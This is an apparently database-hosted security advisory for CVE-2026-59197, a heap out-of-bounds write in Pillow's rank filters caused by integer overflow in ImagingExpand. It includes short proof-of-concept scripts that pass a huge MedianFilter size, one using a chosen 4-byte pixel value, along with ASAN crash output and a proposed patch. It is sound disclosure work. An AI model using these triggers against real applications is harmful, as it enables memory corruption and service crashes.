GHSA-XJ96-63GP-2GMR

Vulnerability from github – Published: 2026-07-20 23:08 – Updated: 2026-07-20 23:08
VLAI
Summary
Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
Details

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:08:58Z",
    "nvd_published_at": "2026-07-14T17:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
  "id": "GHSA-xj96-63gp-2gmr",
  "modified": "2026-07-20T23:08:58Z",
  "published": "2026-07-20T23:08:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.